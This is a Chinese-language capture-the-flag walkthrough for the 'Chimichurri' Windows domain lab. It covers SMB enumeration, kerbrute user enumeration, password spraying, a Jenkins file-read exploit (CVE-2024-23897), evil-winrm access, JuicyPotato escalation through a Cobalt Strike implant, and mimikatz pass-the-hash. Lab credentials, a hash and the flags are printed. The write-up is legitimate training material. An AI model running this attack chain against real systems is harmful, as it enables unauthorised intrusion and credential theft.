1.Chimichurri

created: 2024-12-02 22:13
tags:
  - THL
  - Jenkins
  - SMB空会话
  - kerbrute爆破
  - SeImpersonatePrivilege
Type: wp
dg-publish: true
难度: ⭐️⭐️⭐️
aliases: 
系统: Windows

1. 基本信息^toc

1. 基本信息
2. 信息收集
3. SMB空会话检测
4. rid-brute获取域内用户
5. ldap获取域内基础信息
6. kerbrute枚举出域内用户
7. 密码喷涂
8. Jenkins利用
9. 提权
10. 降权
靶机链接 thehackerslabs.com/chimichurri/
难度 ⭐️⭐️⭐️️

2. 信息收集

┌──(root㉿kali)-[~]
└─# fscan -h 192.168.200.4

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
192.168.200.4:88 open
192.168.200.4:139 open
192.168.200.4:135 open
192.168.200.4:445 open
[*] alive ports len is: 4
start vulscan
[*] NetInfo
[*]192.168.200.4
   [->]CHIMICHURRI
   [->]192.168.200.4
[*] NetBios 192.168.200.4   [+] DC:CHIMICHURRI0\CHIMICHURRI
已完成 4/4
[*] 扫描结束,耗时: 1.070314445s

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# nmap -sC -sV 192.168.200.4
Nmap scan report for CHIMICHURRI0.local (192.168.200.4)
Host is up (0.00043s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-12-03 10:37:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: chimichurri.thl, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: chimichurri.thl, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
6969/tcp open  http          Jetty 10.0.11
|_http-title: Panel de control [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.11)
MAC Address: 08:00:27:B8:51:4D (Oracle VirtualBox virtual NIC)
Service Info: Host: CHIMICHURRI; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-12-03T10:37:33
|_  start_date: 2024-12-03T10:04:56
|_nbstat: NetBIOS name: CHIMICHURRI, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:b8:51:4d (Oracle VirtualBox virtual NIC)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: 5h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.34 seconds

域名 CHIMICHURRI0
配置一下 etc/hosts

192.168.200.4 chimichurri.thl

3. SMB空会话检测

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# smbmap -u anonymous -H 192.168.200.4

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
 -----------------------------------------------------------------------------
     SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 192.168.200.4:445       Name: chimichurri.thl        Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Admin remota
        C$                                                      NO ACCESS       Recurso predeterminado
        drogas                                                  READ ONLY
        IPC$                                                    READ ONLY       IPC remota
        NETLOGON                                                NO ACCESS       Recurso compartido del servidor de inicio de sesión
        SYSVOL                                                  NO ACCESS       Recurso compartido del servidor de inicio de sesión

查看smb共享目录

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# smbclient -U '' //chimichurri.thl/drogas
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jun 27 18:20:49 2024
  ..                                  D        0  Thu Jun 27 18:20:49 2024
  credenciales.txt                    A       95  Mon Jul  1 01:19:03 2024

                7735807 blocks of size 4096. 4368462 blocks available

smb: \> get credenciales.txt
getting file \credenciales.txt of size 95 as credenciales.txt (46.4 KiloBytes/sec) (average 46.4 KiloBytes/sec)
smb: \> exit

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# smbclient -U '' //chimichurri.thl/IPC$
Password for [WORKGROUP\]:
Try "help" to get a list of possible commands.
smb: \> ls -a
NT_STATUS_NO_SUCH_FILE listing \-a
smb: \> exit

查看文件内容

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# cat credenciales.txt
Todo es mejor en con el usuario hacker, en su escritorio estan sus claves de acceso como perico

这句西班牙语的意思是：
“所有事情都会更好，因为有黑客用户，他的桌子上有他的访问密钥，就像鹦鹉一样。”
其中“como perico”是个比喻，可能意味着“很显眼”或“随意放置”，暗示这些密钥没有被妥善保护。

4. rid-brute获取域内用户

因为存在 smb空会话 所以我们可以进行 rid-brute 获取域内用户

rid-brute 只需要有一个域内合法用户即可进行。

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# crackmapexec smb chimichurri.thl -u 'guest ' -p ' ' --rid-brute

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# crackmapexec smb chimichurri.thl -u 'guest ' -p ' ' --rid-brute
SMB         chimichurri.thl 445    CHIMICHURRI      [*] Windows 10 / Server 2016 Build 14393 x64 (name:CHIMICHURRI) (domain:chimichurri.thl) (signing:True) (SMBv1:False)
SMB         chimichurri.thl 445    CHIMICHURRI      [+] chimichurri.thl\guest :
SMB         chimichurri.thl 445    CHIMICHURRI      [-] Error creating DCERPC connection: SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

失败了。这里对匿名用户的权限做了设置

5. ldap获取域内基础信息

ldapsearch -x -H ldap://192.168.200.4 -s 'base' namingcontexts

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# ldapsearch -x -H ldap://192.168.200.4 -s 'base' namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingContexts: DC=chimichurri,DC=thl
namingContexts: CN=Configuration,DC=chimichurri,DC=thl
namingContexts: CN=Schema,CN=Configuration,DC=chimichurri,DC=thl
namingContexts: DC=DomainDnsZones,DC=chimichurri,DC=thl
namingContexts: DC=ForestDnsZones,DC=chimichurri,DC=thl

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

没啥有用的东西

6. kerbrute枚举出域内用户

我们目前需要一个可用的域用户。由于对匿名用户做了限制不让进行 rid-brute 直接获取域内用户。那只能尝试爆破枚举了

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# kerbrute userenum -d chimichurri.thl -t 100 --dc 192.168.200.4  /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/03/24 - Ronnie Flathers @ropnop

2024/12/03 12:49:28 >  Using KDC(s):
2024/12/03 12:49:28 >   192.168.200.4:88

2024/12/03 12:49:28 >  [+] VALID USERNAME:       hacker@chimichurri.thl
2024/12/03 12:49:28 >  [+] VALID USERNAME:       Hacker@chimichurri.thl
2024/12/03 12:49:33 >  [+] VALID USERNAME:       invitado@chimichurri.thl
2024/12/03 12:49:47 >  [+] VALID USERNAME:       administrador@chimichurri.thl
2024/12/03 12:49:48 >  [+] VALID USERNAME:       HACKER@chimichurri.thl

2024/12/03 12:54:16 >  Done! Tested 8295455 usernames (5 valid) in 288.265 seconds

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# awk '{print $7}' valid_user.txt | sed 's/@.*//' >kerber_brute_users.txt

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# cat kerber_brute_users.txt
hacker
Hacker
invitado
administrador
HACKER

尝试利用这些用户的名字作为密码进行爆破

7. 密码喷涂

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# crackmapexec smb chimichurri.thl -u kerber_brute_users.txt -p kerber_brute_users.txt --no-bruteforce --continue-on-success
SMB         chimichurri.thl 445    CHIMICHURRI      [*] Windows 10 / Server 2016 Build 14393 x64 (name:CHIMICHURRI) (domain:chimichurri.thl) (signing:True) (SMBv1:False)
SMB         chimichurri.thl 445    CHIMICHURRI      [-] chimichurri.thl\hacker:hacker STATUS_LOGON_FAILURE
SMB         chimichurri.thl 445    CHIMICHURRI      [-] chimichurri.thl\Hacker:Hacker STATUS_LOGON_FAILURE
SMB         chimichurri.thl 445    CHIMICHURRI      [-] chimichurri.thl\invitado:invitado STATUS_LOGON_FAILURE
SMB         chimichurri.thl 445    CHIMICHURRI      [-] chimichurri.thl\administrador:administrador STATUS_LOGON_FAILURE
SMB         chimichurri.thl 445    CHIMICHURRI      [-] chimichurri.thl\HACKER:HACKER STATUS_LOGON_FAILURE

看来不存在将用户名作为密码的用户

8. Jenkins利用

观察nmap的结果可以发现靶机是开放了Jenkins的

6969/tcp open  http          Jetty 10.0.11
|_http-title: Panel de control [Jenkins]
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(10.0.11)
MAC Address: 08:00:27:B8:51:4D (Oracle VirtualBox virtual NIC)
Service Info: Host: CHIMICHURRI; OS: Windows; CPE: cpe:/o:microsoft:windows

Pasted image 20241203133056
jenkins是有很多漏洞的
先去找一个最新的试试
https://www.exploit-db.com/
Pasted image 20241203134231

试试这个LFI （CVE-2024-23897）

之前的 credenciales.txt 提示我们在 hacker 用户的桌面有一个凭证

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# cat credenciales.txt
Todo es mejor en con el usuario hacker, en su escritorio estan sus claves de acceso como perico

这句西班牙语的意思是：
“所有事情都会更好，因为有黑客用户，他的桌子上有他的访问密钥，就像鹦鹉一样。”
其中“como perico”是个比喻，可能意味着“很显眼”或“随意放置”，暗示这些密钥没有被妥善保护。

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# python3 51993.py -u http://192.168.200.4:6969
Press Ctrl+C to exit
File to download:
> /users/hacker/desktop/perico.txt
hacker:Perico69

成功获取 hacker 用户的密码

尝试看能不能登录

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# evil-winrm -i 192.168.200.4 -u hacker -p Perico69

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\hacker\Documents>

成功登录

9. 提权

先看一下当前用户的权限

INFORMACIàN DE PRIVILEGIOS
--------------------------

Nombre de privilegio          Descripci¢n                                  Estado
============================= ============================================ ==========
SeMachineAccountPrivilege     Agregar estaciones de trabajo al dominio     Habilitada
SeChangeNotifyPrivilege       Omitir comprobaci¢n de recorrido             Habilitada
SeImpersonatePrivilege        Suplantar a un cliente tras la autenticaci¢n Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada

SeImpersonatePrivilege 权限允许我们利用别人的用户权限进行命令执行
可以传一个 RunasCS 进行利用。也可以用传土豆进行提权
但 RunasCS 需要另一个用户的账号密码所以这里排除使用这个

这里我都不选。我用cs提权
传一个cs后门运行，上线
Pasted image 20241203135830

选择Juicypotato提权
Pasted image 20241203140042
成功提取到系统

这里还有个问题。获取到了系统权限还不让我看flag，只给管理员权限的用户看看

10. 降权

这里需要降权。系统权限降权到管理员很简单、
在cs里面可以使用进程注入 或者令牌窃取

这里我采用直接mimikatz抓管理员hash用管理员登录
Pasted image 20241203142754

┌──(root㉿kali)-[/home/kali/thl/Chimichurri]
└─# evil-winrm -i 192.168.200.4 -u Administrador -H 058a4c99bab8b3d04a6bd959f95ce2b2

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrador\Documents> whoami
chimichurri0\administrador

*Evil-WinRM* PS C:\Users\Administrador\Documents> type c:\users\administrador\desktop\root.txt
hjafcdv8a75e3cvsdfg6asd4f9vbsf9sa
*Evil-WinRM* PS C:\Users\Administrador\Documents> type c:\users\hacker\desktop\user.txt
acrsgvs6edr8f5vaw9a8eadv6fa9b

注意这比西班牙语的管理员名字与英语的管理员有区别